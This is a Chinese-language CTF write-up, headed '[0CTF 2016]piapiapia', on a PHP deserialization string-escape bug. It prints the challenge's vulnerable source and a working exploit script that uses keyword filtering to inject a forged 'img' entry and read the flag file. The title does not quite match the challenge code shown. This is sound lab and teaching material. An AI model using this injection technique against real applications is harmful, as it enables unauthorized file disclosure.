基础知识
PHP序列化长度变化导致字符逃逸
[0CTF 2016]piapiapia BUUCTF 详细writeup
解题过程
源代码
进去点开按钮发现给出了源代码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
令f=show_image,得到了flag的地址
?源码得知最后要对$userinfo['img']base64解密,所以对d0g3_f1ag.php进行base64加密,得到ZDBnM19mMWFnLnBocA==
脚本编写
<?php
/*$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump($_SESSION);
$a=serialize($_SESSION);
echo '<br>';
var_dump($a);
echo '<br>';*/
$_SESSION['user']='phpphpphpphpphpphpflag';
$_SESSION['function']=';s:2:"aa";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='12311111';
var_dump($_SESSION);
$b=serialize($_SESSION);
$b=preg_replace('/flag|php/','',$b);
echo '<br>';
var_dump($b);
$b=unserialize($b);
echo '<br>';
var_dump($b);
抓包POST数据
提示flag在/d0g3_fllllllag里面
?解题成功?
|